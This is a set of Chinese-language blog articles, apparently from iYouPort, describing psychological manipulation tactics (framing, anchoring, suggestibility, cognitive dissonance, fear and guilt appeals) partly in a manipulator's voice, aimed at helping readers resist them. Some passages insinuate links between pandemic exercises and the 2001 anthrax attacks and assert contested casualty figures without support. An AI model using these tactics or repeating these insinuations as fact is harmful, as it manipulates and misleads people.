当然，从600个人中救出200人，和600个人中要死掉400人，这两者在数学角度上没有任何差别。但是它在心理层面上却有巨大差异 —— 第一种表述能让人觉得“可以赢点什么”，第二种表述会引导你觉得“会失去什么”。

再一次，人们对赢得和失去的概率有着截然不同的态度。

👌 那么，显然，这里才是正题 —— 现在我可以利用这点来操纵你。

👉为此我要做的仅仅是以某种可以导致你误判的方式，来呈现选择方案。

你如何感知某个事件，取决于这个事件是如何被表述的，这一点非常重要。在真实生活中，同一事件的不同表述，其结果会大不一样。

曾经有很多医生被邀请去参加测试，这个测试是以真实医学数据为基础的对某种外科手术的讨论。当医生们被告知：病人在手术后5年内的死亡率是7%时，他们就会犹豫要不要做这个手术；但是，当他们被告知，病人在手术后5年内的存活率是93%时，他们对手术更有信心了。

Edward de Bono 写过很多书来描述创造性思考的艺术，他将其称为“水平思考”，试试突破既有思考框架的思考，它通过改变你对一项任务和一个问题的态度，来得到新的、出人意料的解决方案。

👌也就是说，改变问题和任务呈现给你的方式。

对此最好的办法就是，将问题置于正确的语境中，试着努力去观察它。

老办法是很管用的 —— 把问题和强加的背景分开，不要执着于递给你选择方案，要超越它们，想想看是否还有其他的可用方案。

⚠ 当你下结论时，也会奇怪地受到以前信息的影响，哪怕那些信息与你手头上的事情完全无关。需要警惕这点。

回到本文开头的问题，在回答联合国有多少个国家时，我猜你给出的数字会在 110 ~ 130 之间（除非您早就知道答案）。当然不会超过 140。

但是，正确答案是192。你的猜测受到了问题前面那几个数字的影响，尽管它们和本问题一点关系都没有！

意大利认知科学家帕马雷尼对他的学生做了一个类似的实验，他让学生们猜一猜有多少个非洲国家加入了联合国。但在此之前，他旋转了一些标记数字的“好运轮”，这个好运轮和本问题毫无关系。实验的结果非常清楚：当轮子停留在较低的数字上时，学生们回答的数字也偏低，当轮子停在较高数字上时，学生们猜测的国家数量也较多。

☞ 这也是为什么我们对另一个人的第一印象非常重要的原因之一。第一印象就好比那个 “好运轮”，任何其他与其相关的事物都会受到第一印象的影响，即使后来发生的一切都与第一印象完全无关。

⚠别忘了，我现在扮演操纵者，我当然会知道您经常把可能性和自己的经验混为一谈，我会知道您在感知得失的时候会给它们赋予不同的权值。我还清楚，您很可能无法在我提供的选择范围 *之外* 考虑其他的方案。

当您只能在我提供给您的信息的范围内思考问题时，我就赢了。

☞ 有很多出色的工具可以用来控制你的思想。当我开始操纵你的时候，我最常用的方法就是刺激你用感性抑制理性，我还非常高兴看到你被封锁在我画出的思维框架之内。

但是我能够避免错误的思考，就像你能做到的那样。而关于人是如何思考的相关知识，就完全可以成为你放在口袋里的一把刺破思维框架的好刀。

谁知道呢，也许你能设法为自己切割出一扇门，并最终走出去。

「图」

「图」

一个小例子 ……

这里有一个例子能很好地说明人们如何容易受到已有信息的影响 ——即使你对那些信息持批判态度。这一点被军事宣传所利用的案例。

1991年的海湾战争中，每次美军空袭后，布什政府都会宣布有多少伊拉克平民受害。他们提供的数字总是非常之低的，通常都是2个、3个，最多不会超过10个人死亡。他们自称这是 “像外科手术一样精准” 的战争。

一些人开始对这些数字表示怀疑，即使在美国国内也是如此。但是，其中批评得最厉害的人给出的数据也没能远远超过布什政府的数据，他们猜测有几百人死亡。

而实际上，伊拉克平民在空袭中死亡的人数高达数万人。绝大多数人的思维都被布什操纵了。

另一个小例子 ……

将人们困在媒体描述的框架内的案例。

2018年早些时候，BBC俄罗斯新闻报道，俄罗斯调查委员从中国的美亚柏科采购取证魔方去检测和破解加密消息应用 Telegram、Skype 和 Viber 等的存档。根据政府采购文件，调查委员会在采购取证魔方上花了500万卢布。我们上传了这个工具的介绍，在这里。

这种东西可以侵入具有 Apple 和 Android 操作系统的所有设备，并自动从中提取 “设备所有者标识”，包括名字、电子邮件地址、电话号码等等。它还可以从社交网络（尤其是 Facebook 和 Twitter）中提取数据。 总体而言，这种东西能够从100家制造公司的3000种移动设备中提取信息。

以色列的取证技术 Cellebrite 需要一天以上的时间来破解 iPhone 7或8，提取出的数据还需要认真的分析才能形成终极证据产品。而中国这种东西可以在9分钟内处理同一款iPhone。

世界上还有其他多家主要的移动设备取证技术销售商，包括：以色列的Cellebrite，加拿大的 Magnet Forensics 和美国的 Grayshift。俄罗斯当局正在购买除了美国的 Grayshift 以外的所有解决方案，尽管该公司声称能够破解任何智能手机。BBC是这样写的。

于是一群 “评论家” 开始分析地缘政治，俄罗斯和其他国家尤其是中国的关系、以及俄罗斯异议的数字使用习惯 …… 这就是被报道所设置的框架套住了。

没有任何人能确定这种技术只卖给俄罗斯了；它的存在意味着全世界所有使用 Telegram、Skype 和 Viber 等应用和 Apple、Android 操作系统的用户都应该警惕。简单说，您应该开始分析技术本身，并致力于从中获得防御方面的思考方式。

在下面看到我们曾经对取证技术的介绍：

- 《数字取证正在泛滥：政府可以从你的手机中提取哪些数据？》
- 《让政府机构从您使用的应用程序中提取大量数据的秘密技术：云取证》
- 《警察查手机的东西长什么样？—— 从技术角度看移动设备取证》

好啦，技术不是本文的主题 …… 本系列内容是希望说明，操纵者是如何针对你的思维弱点的。只有深度了解这点，您才能有希望保持清醒。

最后推荐一篇文章，关于冠状病毒的。它的思考方式真正做到了超越政府宣传的框架，您可以和身边大众的思考方式对比一下《LOKIN-20: The Lockdown Regime Causes Increasing Health Concerns》。

「图」

「图」

上图中这本书在这里下载：https://t.me/iyouport/7219

在下一集中我们将继续介绍：如何让你只想到我希望你想的事。下次见。〇

原文

什么样的人最容易被操纵：心理控制的状态是什么样的（3） - iYouPort

让你只想到我希望你想的东西

他们先操纵身边的环境，继而就很容易控制你本人 ……

「图」

「图」

欢迎回来！

这里是关于心理操控的第3集，如果您错过了前两集，可以在下面回顾：

- 《发现你生活中的操纵者：在叙事矩阵的边缘（1）》
- 《认知幻觉和各种谬论：你是如何被绕进去的？- 让你只想到我希望你想的事（2）》

关于心理操控，这个领域的大多数内容都是关于警告的 —— 帮助您识别操纵者；通过分析操纵者 “是什么样的”，提醒您在遭遇危险时及时警惕。

但这并不完整。我们还应该了解 *被操纵者* 最可能是什么样的，以帮助您自我鉴定，从而避免那些容易被入侵的漏洞。

这就是本文的用意。

心理操控的基础是不允许被控制者独立思考，使被控制者绝对被动。

但这并不需要你加入某个组织、宣誓什么的。如果你无法作出真正独立的判断和行动，迟早都会遭遇心理操控，或者，一直被操控着。

并不是所有人都会接受心理操控，对一个人来说，也不是所有时候都处在被操纵的状态下。所以这可以非常微妙。

一个人是否容易被心理操控，将决定他将如何度过这一生。

一个人是否容易受到心理操控，会取决于其性格特征、情感控制能力、决策能力、现在及过去受到的精神压力以及心理承受力等多种因素的影响。

即便如此 —— 即便拥有最糟糕的性格特征、情感控制力、决策能力 —— 但 将受到何种程度的操控，周围人是否给予有效的帮助，也是至关重要的因素。

下面我们将分析一下主要的因素。

1、依赖型人格

依赖性人格是最容易被控制的人格特征。

依赖型人格的人缺乏自我意识，他们会过度在乎周边人的感受。

依赖型人格的人与其他人相处时会尽可能避免引起对方不快或争执，他们很难 say NO。东亚国家中这种状况的人相对普遍。

👉但是，这并不是地图炮。社交媒体时代恰恰是在 “培养” 依赖型人格 —— 它给妥协和依赖者以奖励，这样的人才能获得更好的所谓人脉，以从中牟利；同时它给反叛者以惩罚，如果你违背粉丝的心意，你就得不到关注，你的表达无人听取。

虽然从某种意义上讲，依赖型人格的协调性比较好、看起来尊重他人，但是，这种人格类型明显对自己不利，当事态违背自己的意愿时，这种人依旧会逆来顺受。

依赖性人格的人明显对对方没有什么好感，但却很容易在对方半强迫的引诱下屈从。对完全不值得付出的人倾尽所有，对强势者言听计从 —— 甚至有些时候他们自己也明白对方是在压榨自己、利用自己，但是他们无法反抗。

依赖型人格一旦对对方产生了依赖，就会深信自己离开对方无法生活（或无法完成某项任务）。他们过低地评价自己，即使他们本身的确有很高的能力和魅力，也会深信自己一个人什么都做不好。于是只有依赖那些有强烈意志的人，他们才能 “放心”。

这样的人难以自己作出重大决定，他们习惯于遇到麻烦找人商量，依赖对方作出判断，并且会按照对方的指示行动。

正因此，依赖型人格极容易受到操纵 —— 任何能让他们感觉强大/强势/“更具智慧”的人都可以控制他们。

那么，这种人格是如何造成的呢？

依赖型人格的基础是依恋焦虑

一个人的成长环境对早期人格塑造有着明显的作用。

如果一个人从小就学会了抑制自己的欲望、小心谨慎地生活，看大人眼色行事，就可能导致这种人格特征。比如父母粗暴地对待孩子。

不仅如此，如果父母过于随性，子女就无法预测父母的行为。也同样会导致依赖型人格。即使那些真心实意为子女好的父母，由于过度地关怀保护或干涉子女的行为，也会慢慢侵蚀孩子的主体性，最终出现同样的结果。

幼小的孩子只能依赖父母，得到父母的关爱才能生存。如果双亲对孩子的态度忽然变化，或者攻击孩子，或者把孩子扔到一边不管不问，孩子就会认为自己无论如何也不能被父母抛弃，就会开始想方设法讨喜父母。如果总是将父母的意愿放在第一位，孩子就会逐渐放弃自己的自主判断，习惯于看父母的脸色行事。

家庭两代人之间的心理状态，在生理学、生物学上的关系合起来就是依恋。

尽管依恋最初是在子女和父母的关系中建立的，但是，一旦形成了依恋，它便会延展到社会上其他人的身上。家庭关系是未来人际关系的基础。

子女如果对自己和父母的关系不放心，就会产生依恋不安，之后他们就会很容易和他人形成这种关系。

这种强烈的依恋焦虑，就是依赖型人格的一大特征。

容易形成依赖型人格的环境

容易形成依赖型人格的环境有几种典型的模式。

一方面比如父母情绪不稳定、社会压力过大，经常对孩子采取暴力以发泄他们自己的郁闷，这种情况下孩子看到父母就会提心吊胆，这是

广为人知的典型环境模式。

另一方面，看似普通的家庭中，也经常会出现孩子被自恋的母亲所支配的案例。比如稍不留意就会招惹母亲勃然大怒、或者对孩子不理不睬。为了讨好母亲，孩子就学会了如何表演乖巧，对母亲言听计从。

依赖型人格的人基本是被动的，他们会敏感地觉察自己所依赖的人的指示，并付诸行动。这就是为什么他们很容易遭到心理操控。

可能的解决方案

如果依赖对象不在眼前，或者长期不能见面，状况就会发生变化。因为依赖焦虑强烈的人，没有依赖对象就会无法生存；因此，依赖型人格且具有强烈依恋焦虑的人，容易迅速变换依赖对象。

于是，如果想要解除依赖型人格的人身上的心理操控，可以从这个重要的角度入手 —— 让依赖型人格的人与控制者分离，不见到对方，他们之间的依赖关系就会崩溃。

同时必须注意引导依赖型人格的人认识到自己的心理特征，帮助他们有效的避免陷入下一次依赖-操纵。

「图」

「图」

2、容易被暗示

这也是一个很容易受到操纵的内部因素。

容易被暗示，就是不知道自己得到的信息是否可信。换句话说，就是容易不加判断地相信所有信息。

所以，容易被暗示的人会按照自己得到的指示作出行动，而不是按照自己的意愿行动。

☞现代心理战经常采取这种方法 —— 暗示，而不是告知。不是那种“你应该这样理解”，而是，“你也有这种感觉对吧？那么想想吧，它可能是真的 ……”。

操纵者会汇集完全真实的信息节点，但是并不完整 —— 它们是按照

有利于操纵者的目的性组织起来的信息串。你将看到一堆完全真实的信息，但是其中并无科学的逻辑，而其最终被理解的“逻辑”，将通过被操纵者被暗示的心理，自行构建。

比如，张三被摄像头拍摄到12：25分进入该小区大门；12：48分小区内邻居听到14岁小女孩的哭叫声；1：17分摄像头记录到张三走出那栋楼。次日新闻报道该小区一名14岁女孩遭到强奸。

这是操纵者给出的时间线。请注意它没有指明任何结论，也不需要指明，而容易受到暗示的人会下意识地认为张三与强奸案有关。

因为这个时间线是不完整的。

同样，想象关于冠状病毒(COVID-19)危机的讨论：从2019年1月至8月举行的“Crimson Contagion”模拟，到去年10月的“Event 201”，到其主导人 Robert Kadlec 国土安全部负责准备和应对的助理部长、也是布什时代的国土安全“生物恐怖主义”顾问，再到 Kadlec 密切参与的2001年6月的 Dark Winter “暗冬行动” 生物战演习，该演习预言了2001年的炭疽病袭击，而几个月后的炭疽病袭击事件就以令人不安的方式发生了。

如果你现在试着置身事外，你可能会发现一些奇怪的盲点，但是操纵者要做的就是，避免你置身事外 —— 他需要你完全被动。

被催眠的状态就是完全被动的状态，因此容易被暗示的人也容易被催眠，或被心理操控。这是他们的性格的必然结果。

☞容易被暗示的人的特征包括：# 容易完全相信别人说的话，容易受到影响；

- 对人深信不疑，其中一些人迷信超自然现象；
- 说话夸张、喜欢说假话。

1. 关于如何欺骗测谎仪，见《虚假记忆和记忆操纵：塑造超强记忆力（11）》
2. 不要错过 《过去和现在的线人：政治渗透是如何操作的？（1）》

- 《针对反抗运动的政治渗透：政府线人如何操作（2）》
- 《渗透破坏、分裂和误导在抗议活动中广泛存在：政治渗透如何操作（3）》

你的行为真的是来自你的内心吗？不一定。那么它们会来自哪里？你是如何作出这样的行为的？…… 我们将在下一集中探讨这些问题。下次见！〇

原文

您真的知道自己在做什么吗？：让你只想到我让你想的事（4） - iYouPort

让你只想到我希望你想的东西

操作者可以设计一个合理化的圈套，让你很容易掉进去逃不出来 ……

「图」

「图」

欢迎回来！

如果您错过了前面的内容，可以在下面回顾；

- 《发现你生活中的操纵者：在叙事矩阵的边缘（1）》
- 《认知幻觉和各种谬论：你是如何被绕进去的？- 让你只想到我希望你想的事（2）》
- 《什么样的人最容易被操纵：心理控制的状态是什么样的（3）》

人们习惯于认为知道自己在做什么，知道自己为什么要这样做。当每件事物如我们所愿地运转时，我们就会觉得 “能理解” 自己为什么要这样做。认为自己是根据动机采取行动的 “理性人”。

但是，很遗憾，事实可能并非如此。

更准确地说，我们是 *理性化* 的人—— 也就是说，不论我们的行为有多么地非理性，总会有办法令其在自己和他人眼中看起来 “很合理”。

法国哲学家和作家 Albert Camus 在44岁的时候获得了诺贝尔文学奖，他可以被称为一个知识渊博的人了。加缪曾经说过，我们花费了一生的时间来让自己确信自己的人生不是荒谬的。

这真是令人心情沉重。该如何做才能证明自己的人生不是荒谬的呢？那就是，发现不同的方法来合理化自己的行为。

如果你不确定自己为什么在冷冻食品区里选购鸡肉，那么你就会在走向收银台的途中想方设法让自己相信那是因为 “我今天晚上很想吃鸡肉”。

您真的 “想吃” 吗？…… 上帝才知道。

事实上只要能找到理由，人们甚至不需要特别好的理由来说明自己为什么要做那些事。一个经典的具有不同版本的实验清楚地揭示了这一事实。

一位女士站在复印机前排队的时候请求身边人帮个小忙。具体地说，她是这样请求的：

真是不好意思，我需要复印*5*页纸。您不介意让我先用一下复印机吗？因为我有点赶时间。

正如您所看到的，她在请求身边人允许她插队。而在同时，她给出了为什么人们应该允许她插队的理由—— “我赶时间”。

这个做法非常有效。在她被询问的人中有 **94%** 的人答应了让她插队。

等一下，这里不是关于礼貌的问题，它包含另一种情况，即：她说出同样的请求，但不说出理由，如下面这样：

真是不好意思，我需要复印*5*页纸。您不介意让我先用一下复印机吗？

这一次，只有不到60%的人同意她插队。接下来我们再换一个方式。让这位女士做同样的事，但这次，她将说出一个 *听起来像* 但实际上并不是理由的理由，如下面这样：

真是不好意思，我需要复印*5*页纸。您不介意让我先用一下复印机吗？因为我需要复印一下。

最后一句显然是废话。您能看出这个版本并没有比第二个不给理由的版本多出任何实质的内容。但是，这一次，有**93%**的人同意了她的请求—— 尽管她并没有给出任何实质性的理由。

看起来 “因为” 这个词后面跟着的信息实际上没有比不给任何信息更能合理化人们的这种顺从。

这可不只是实验。同样的事就发生在现实生活中。

人们喜欢为自己做的事寻找任何理由。这位女士所做的不过是 *给人们一个理由* 来改变他们的行为，从而允许她插队。

理由本身是什么并不重要，只要它 *看起来存在*，就足够了。

由于 “因为” 这个词暗示着 “我的请求是有理由的，我即将说出这个理由”，于是人们听到这个词后就停止认真地倾听了，反而开始自动地想要遵循这一请求。

👌 这是一个应该记住的便利技巧。下一次当您想要让某人帮助做什么事的时候，不要忘了：让你的请求 “听起来” 有理由。对方爽快地答应你的可能性将大幅提升。

「图」

「图」

认知失调

在50年代，著名心理学家 Leon Festinger 就发现，人们 “需要” 向自己提供某个行动的理由。对此他创造了一个著名的理论 “认知失调”—— 这个理论恰巧对我们非常有用。

认知失调指的是：大脑就像充满了认知元素的图书馆，这些元素是我们对世界的认识—— 比如，这是一个冰激淋；也是我们对事物的看法—— 比如，我喜欢香草冰激淋；以及我们的信条—— 比如，吃太多冰激淋会发胖的。

这些 “元素” 涉及我们周边的世界，或者我们自己。当其中一个元素与另一个元素发生冲突时，就产生了认知失调。如果想让一个人意识到认知失调的存在，还需要冲突中的一个元素关涉到此人自己。

人们无法忍受认知失调，每个人都对这种东西很敏感；因为大脑无法在感觉到矛盾的情况下赞同两个互相冲突的建议。这正是认知失调所在。

每当你要做出一个选择时，你就处在一个潜在的失调状况下—— 失

调总是发生在您做出决定之后，而不是之前—— 当您的知识、观点、或信条与对自己的某种看法相冲突时，就会引发严重的心理失调，而人们会不由自主地不惜一切地来消除它。

☞于是，在此做出的解决方案也许看起来很荒唐，但正如您在前面看到的复印机例子那样，人们显然可以不费任何力气地像傻瓜一样思考。或者正如英国政治家罗德莫尔森所说的那样：“我可以寻找任何其他证据来证明我已经形成的观点”。

案例和相关实验可以说非常之多。所有这一切都意味着，☞如果我能引起您的内心认知失调，您就会自然地想要做点什么来消除这种失调。简单说，我可以控制您 **……**

您很可能会采取以下这些方法来消除失调：

- 改变先前的观点和态度—— 改变自己内在的心境；例如，开始觉得在警察部门做审查员 “也不错”，既然你已经是其中一员了。不管当初有多么地不愿意接受；
- 改变你外在的环境，不让自己面对引起认知失调的根源；从而不必找理由证明为什么多吃冰激淋对自己 “有好处”。你可以在商店里绕着走，以躲开冰激淋区；
- 改变你的行为，如果这能让你对自己的看法与你的其他想法更协调的话。例如您认为自己是一个珍惜小动物的人，而其他人说 “这样的人绝不会去踩蚯蚓”，那么您就会通过不去踩蚯蚓来解决失调。

👌如果我想要操纵你的行为，我有两种方法可以做到：我可以直接改变你的行为；或者引起你的认知失调—— 例如通过向你提供一个与你的行为相冲突的观点—— 从而诱使你主动去改变自己的行为。

这两个方法的结果都是一样的：您的行为被改变了。但是，这其中有重要的差别。

如果我只是请求您改变行为，您是有选择的，可以改变也可能不改；但如果您改变了，那是为了我而做的，因为是我的请求。但是，如果您改变行为是为了解决 *您自己* 的心理失衡，那么您就是为了您自己，而不是我—— 与我完全无关了。虽然这一切都是我操纵的结果。

☞您看出来了？亲爱的木偶，这对于任何操作者来说都是非常有价值的，不管他们是信息战推手、政治宣传大师，还是行销商。

如果我知道您认为自己是中产阶级，那么我就会告诉您：中产阶级是不会喝中国酒的，苏格兰的单一麦芽威士忌才是中产阶级的标志。你就会开始倾向于威士忌的选择。

同样，如果我知道您认为自己是充满战斗力的政治异议人士，却没有用武之地，那么我就可以提供大量的低智商的官方宣传信息和傻傻的小粉红，并告诉您，异议人士会专注于批驳这些内容。我就可以把您绑在社交媒体吐槽的狭小院子里，占据您的时间和精力，以避免您思考任何有意义的反抗行动。

即 恶意愚蠢。

由于这些被提供的信息是天然愚蠢的，任何人都可以做到轻松批驳，您会从中找到满足感，这会更加深您对此的执着。您甚至会看不起那些质疑吐槽是否有用的其他人，您认为他们 “缺乏战斗力”。

……

⚠ 简单说，操纵者可以设计一个合理化的圈套，让你很容易掉进去逃不出来。除非你非常小心。

这个圈套是这样的：首先，通过对你的自我形象构成某种威胁，以引起你心理上的失调，例如唤醒你的愧疚感和不满足感，或者让你怀疑自己；接着，操纵者会为你提供一个 “解决方案”，一个消除失调的方法—— 同意去做我想让你做的事。

这个让你减轻负罪感、消除愧疚感或者赢回声誉的方法，就是符合操纵者的利益的行为。

一个很有用的可以导致他人产生失调的情感就是，害怕。害怕自己不够优秀、不够美、害怕未知的事物、害怕与自己 “不同的人” …… 通过激发人们的恐惧，从而操纵你接受/做出制定的行为。

- 《警惕微妙的劝导术：恐惧诉求—— 埋下情绪 操控思想》
- 《恐惧比冠状病毒更致命》

「图」

「图」

恐惧

现在您一定明白了，您所想的不一定就是您所说的和所做的，而您自己以为的、和最终促使您采取行动的无意识欲望和恐惧之间，有着巨大的差别。

人们的恐惧会被利用于更多微小的和常见的目的，而不仅仅是害怕一群人或某种状况那么简单；事实上生活中的大部分事物都可以让人们感到害怕、不安和紧张。如果您没有这种感觉，那将说明您真的可以开始明智的行动了。

举一个最普通的例子：常识使我们相信刷牙是为了口腔卫生、是为了防止蛀牙和清洁牙齿，至少看起来干净。因此，我们也相信这是牙膏制造商用可怕的广告想要钉入我们脑袋里的信息。

然而，一旦你仔细观察就会发现，很多人一天只刷一次牙，而且选择的是最早的时间来刷牙—— 早晨起床后。看起来人们刷牙的目的实际上并非是为了防止蛀牙，而是希望以清新的口气开始新的一天。比起健康，人们显然更担心睡了一晚之后口气不好会带来什么样的社交后果。

这正是为什么牙膏管上的图案设计都强调 “清新口气” 或 “亮白”，而不是解释它如何去除牙菌斑。

简单说，只要我知道您怕什么、担心什么，我就可以利用这点来操纵你。

👌迎合你的恐惧，在以下情况中特别有效：#完全吓倒你

- 向你提供一个建议，来避免你正在害怕的威胁
- 让你觉得我建议的行动会非常有效
- 让你认为你完全能够采取所建议的行动

首先，作为操纵者我会竭力煽动你关注你自己害怕的事物；一旦你被吓倒了，你就很难再去考虑任何无关恐惧的事—— 你的思路已经被我框定了。于是接下来我会告诉你该做什么来消除恐惧。我会给你一个看起来简单的解决方案，你会注意到这个方法确实管用，并因此对我心怀感激。

但你不知道，这个 “解决方案” 正是我想要让你做的事。

你被我控制了。甚至都不恨我，还要感激我。因为你认为我在帮你。你唯独没有意识到的是，这一切都来自恐惧，而这份恐惧，是我植入给你的。

这正是希特勒一步步采取的方法。他向民众描述了一种日益增强的“安全威胁”—— 犹太人，如果再不制止，这个威胁就会毁掉民族精神 …… 真是可怕啊 ……。而他提出的解决问题和消除民众日益增长的恐惧的具体办法就是：支持纳粹党。尤其是这件事很容易做到：只要在大选日投票给 “正确的” 候选人就行了。

您可以重新回顾《恐惧诉求》这篇文章，顺便回忆在中国发生的事。

☞ 请注意最后一个步骤非常重要。如果我想吓唬你从而让你采取我想要的行动，仅仅是告诉你该做什么是不够的；我必须确保你要做的事很容易，基本没有门槛，更重要的是，我要让你知道如何去做。

每年夏末，瑞典的市议会和国家传染病控制中心都会在一场宣传活动中合作。这场活动鼓励人们去做身体检查，看有没有通过性交传播的衣原体。衣原体是一种可以 “潜伏” 很长时间的疾病，你可能从来都不知道自己得了这种病。这就意味着你可能在不知情的情况下传播它。

在宣传活动中，本文前面描述的所有步骤都被用来驾驭受众的恐惧。

第一步是一张有趣的海报以吸引你的注意力，它用警告的语气说 “没有衣原体感觉更好”。接着，他们就吓唬那些懵懂的过路人，指出：你、你、你，可能还不知道自己带有衣原体；你看不见它，你感觉不到它，但当你发现问题时就为时已晚了。

此时你可能被吓傻了，这正是一个极佳状态。下一步就是要解释要解决它有多容易：您只要做一次身体检查就行了，其他的都交给他们来处理 …… 谢天谢地只需要4个步骤，嗯，基本上是。

他们在宣传活动中忽略掉的一步就是，让你知道怎样去做身体检查。

最好的办法是在海报上留下电话号码和地址，但是由于这些信息在各个城市都不相同，所以他们鼓励您去他们的网站进行进一步查询。

这远不够完美。因为你不仅需要被吓傻到愿意去接受检查，还要愿意坐下来在网上查询怎样接受检查。这就使您达到 “第4步” 的难度有所增加。

为了弥补这一点，市议会设置了 “衣原体星期一”活动，在这一天，他们允许你不经预约就可以去检查身体。这很管用，选择去检查的人数大增，其中20%的人明确表示，如果没有 “衣原体星期一” 活动，他们是不会去检查的。

类似的案例数不胜数。再比如著名的 Denivit 美白牙膏广告。该广告展现的完全是社交恐惧，广告里充满了捂着嘴巴的人，他们害怕被别人看到他们的牙齿。当然，直到他们开始使用 Denivit 美白牙膏，一切迎刃而解……

换句话说，在您准备匆匆购买某件商品以掩饰自己的美中不足或遮丑之前，在您准备匆匆加入某个组织、支持某个候选人之前，也许值得问问自己：我们的恐惧究竟应不应该。你真的害怕吗？有没有人会因为你的害怕而受益？他们在努力 *想让你害怕* 吗？…… 问自己这些问题。

☞ 任何情况下，您的恐惧心理/您的担心，都是您的枷锁；任何了解这一点的人就可以利用它来控制你。别让那些坏家伙得逞。

这不是全部。还有一种同样非常有效的情感，经常被用来设置陷阱，让你入坑。您知道是什么吗？

我们将在下一集中详细解释。下次见。〇

——未完待续——

原文

让你感到愧疚或无愧，你就会主动满足我更多：让你只想到我让你想的事（5） - iYouPort

让你只想到我希望你想的东西

不要去想大象

「图」

「图」

欢迎回来！

如果您错过了前面的内容，可以在下面回顾；

- 《发现你生活中的操纵者：在叙事矩阵的边缘（1）》
- 《认知幻觉和各种谬论：你是如何被绕进去的？- 让你只想到我希望你想的事（2）》
- 《什么样的人最容易被操纵：心理控制的状态是什么样的（3）》
- 《您真的知道自己在做什么吗？：让你只想到我让你想的事（4）》

上一集中我们谈到您的情感如何被操纵从而导致您作出违背自身利益的决定。排在第一位的最容易被操纵的情感是恐惧。那么第二位是什么？

是罪恶感。这是警察采用的审讯心理学中最常见的诱骗方式，就是诱供。

罪恶感

您被邀请参加一项关于反应速度的研究。您要做的就是听别人读出来的字母，以最快速度把它们打入电脑。

在您开始之前，助手会告诉您：“不要碰ALT键，那会导致软件受损，会失去所有数据”。

测试开始了，一分钟后您突然害怕得僵住了，因为软件已经瘫痪，完全不运行了。研究助手严肃地指出：你按了ALT键！尽管事先已经警告你不要这样做。是你的不听话破坏了所有事。

您知道自己并没有按那个键，并告诉他您没有这样做。这位助手按了几下键盘，确定所有数据都丢失了，然后再次问你：“你是不是按了ALT键？” 于是您被要求写一份坦白书，声明：“由于我按了ALT键导致软件崩溃，所有数据丢失”。

您要在坦白书上签名以承认自己的错误，你被告知负责人会在稍后与你电话联系。即使您心里明白自己根本没有做过……

听起来很熟吗？曾经被警察传唤的无辜者也许会更有共鸣。

这的确是个实验。该实验以大学生为研究对象，旨在观察是否有可能通过诉诸他人的罪恶感来操纵人们承认自己没有做过的事 —— 该实验软件被故意设计为一分钟后自动崩溃。

结果是，实验者拿到了签名的坦白书。您没看错，有**62%**的人都在坦白书上签了名！

不仅如此，还有28%的人后来告诉其他同学他们按错可ALT键导致毁掉了实验 …… 换句话说，他们真的相信自己 “有罪”；其中一些人甚至还详细说出了自己犯错的经过。

尽管他们一开始知道自己是无辜的。

这个实验成功的一个重要因素在于，参与者的头脑被植入了一种假证据，这个假证据就是大声朗读字母的人声称看到学生按了ALT键。

这就是审讯过程中的诱供所采取的伎俩 —— 警察向嫌疑人声称其拥有完全不存在的 “证据”，全世界的警察都会这手。

乍看起来就像是激励嫌疑人反思自己有没有犯罪，但是，这种手段远非如此无辜。正如您在上面的实验中看到的，罪恶感，即使是错误地引发出来的罪恶感，也能促使你屈从并承认罪行。

👌 我们大部分人或多或少都会对一些事物感到愧疚，因此，罪恶感就成为了一种非常有用的可供心理操纵的情感。

很多时候人们可能并不知道自己为什么“有罪”，因为罪恶感产生的真正原因在意识之外。这就意味着，通过有技巧的操纵，罪恶感可以变成任何你想要的东西。

这方面一个最典型的例子就是性禁忌。

大多数人在很小的时候、甚至在知道性是什么之前，就已经被教导形成了一种罪恶感。这种教导来自你周围的人，尤其是你的父母，

很明显，他们将别人在他们身上教导形成的罪恶感以同样的方式传递给你。对一个3岁的孩子来说，不同的身体部位并没有太大区别，摸自己或摸别人的身体不过是为了好玩而已，直到爸爸妈妈红着脸告诉你不许这么做。

再长大一点后孩子们开始懂得一些身体部位具有特定象征意义，他们还了解到身体的某些部位是有问题的、是羞耻的或不好的。这种罪恶感如此深刻地印在你的心里，以至于可以成为你想影响一个成年人的有效工具。

它可以被用来映射性无能、罪恶的肉欲、贪婪、甚至对非常规性行为的憎恶？由于这种罪恶感扎根很深，你不一定能辨认出它。您所能注意到的只是某种情况使您感觉不舒服，一种你绝对不想要的感觉。而这正是操纵者想要让你处于的状态。

现代人有太多的压力。需要处理大量的工作、要建立家庭、要买房子生孩子，还要时刻担心办公室政治、朋友关系、社会攀升 ……

大部分人都觉得空虚和孤独，不只有你这样。当要说出自己的人生有什么意义时，大多数人都会感觉无力。越来越多的人使用肤浅的手段来压制这些焦虑和困惑 —— 快餐食品、口香糖、清洁剂、买买买 ……

- 《nobody cares 的背后究竟是什么》
- 《极权社会的心理阴影：物质主义的由来、恶意愚蠢和攻击性冷漠（4）》

这显然不会令人满意。人生应该提供的不止这些。正如行销心理学家 Irving Kirsch 曾经说过的那样，人们其实明白他们所买的东西根本无法填补他们最深刻的欲望和梦想。

事实就是如此。我们周围的东西在某种程度上填补了我们感到的自身的不足，即使心里明白，我们所买的只不过是真正想要的东西的空洞

象征。我们依然追赶那些空洞的梦想，因为如果没有这些梦想，人生将变得无比灰暗。

「图」

「图」

为什么罪恶感能如此有效地操纵你？ Kirsch 提出了3种可能的原因：#同情。我们同情那些被我们伤害的人；

- 复原。想把那些被自己损害的东西还原的感觉；
- 一般罪恶感。想要修复因为受到侵犯而失去光辉的自我形象的愿望。

1. 推荐这份报告《看清信息战：2019全球有组织社交媒体操纵清单》它讲清了几乎所有信息战手段和操作模式
2. 《极权社会的心理阴影：物质主义的由来、恶意愚蠢和攻击性冷漠（4）》

“不要去想大象”。众所周知这是个笑话，但现在的问题在于，“大象”是无意义的，而你真正需要的是老虎。如何才能让你不去想老虎？很简单，让你保持在对大象的关注上。这就是 “恶意愚蠢” 的做法。

希望您还没有中计。〇

—— 未完待续 ——

原文

操纵者如何用描述转变你感知世界的方式：让你只想到我让你想的事（6） - iYouPort

让你只想到我希望你想的东西

操纵他人并不难，但识别和摆脱操纵也许不那么容易

「图」

「图」

欢迎回来！

如果您错过了前面的内容，可以在下面回顾；

- 《发现你生活中的操纵者：在叙事矩阵的边缘（1）》
- 《认知幻觉和各种谬论：你是如何被绕进去的？- 让你只想到我希望你想的事（2）》
- 《什么样的人最容易被操纵：心理控制的状态是什么样的（3）》
- 《您真的知道自己在做什么吗？：让你只想到我让你想的事（4）》
- 《让你感到愧疚或无愧，你就会主动满足我更多：让你只想到我让你想的事（5）》

「图」

「图」

